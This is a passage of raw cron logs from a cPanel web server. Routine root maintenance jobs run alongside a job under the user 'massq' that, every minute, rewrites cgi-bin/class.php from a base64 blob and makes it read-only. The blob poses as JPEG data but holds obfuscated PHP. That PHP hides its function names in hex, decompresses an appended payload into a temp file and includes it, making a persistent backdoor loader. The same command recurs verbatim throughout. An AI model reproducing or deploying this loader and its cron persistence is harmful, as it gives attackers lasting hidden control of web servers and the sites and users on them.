QV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:46:01 server CROND[32211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:46:01 server CROND[32212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:46:01 server CROND[32213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:47:01 server CROND[32579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:47:01 server CROND[32581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:47:01 server CROND[32580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:48:01 server CROND[516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:48:01 server CROND[517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:48:01 server CROND[518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:49:01 server CROND[921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:49:01 server CROND[922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:49:01 server CROND[923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:50:01 server CROND[1520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:50:01 server CROND[1522]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 18:50:01 server CROND[1523]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:50:01 server CROND[1526]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 18:50:01 server CROND[1530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:50:01 server CROND[1527]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:50:01 server CROND[1528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:50:01 server CROND[1529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:50:01 server CROND[1533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:51:01 server CROND[2403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:51:01 server CROND[2404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:51:01 server CROND[2405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:52:01 server CROND[2812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:52:01 server CROND[2813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:52:01 server CROND[2814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:53:01 server CROND[3185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:53:01 server CROND[3186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:53:01 server CROND[3187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:54:01 server CROND[3561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:54:01 server CROND[3562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:54:01 server CROND[3563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:55:01 server CROND[4046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:55:01 server CROND[4047]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 18:55:01 server CROND[4048]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 18:55:01 server CROND[4049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:55:01 server CROND[4051]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 18:55:01 server CROND[4050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:55:01 server CROND[4052]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 18:56:01 server CROND[4874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 18:56:01 server CROND[4875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:56:01 server CROND[4876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:57:01 server CROND[5248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 18:57:01 server CROND[5250]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 18:57:01 server CROND[5249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 18:57:01 server CROND[5251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
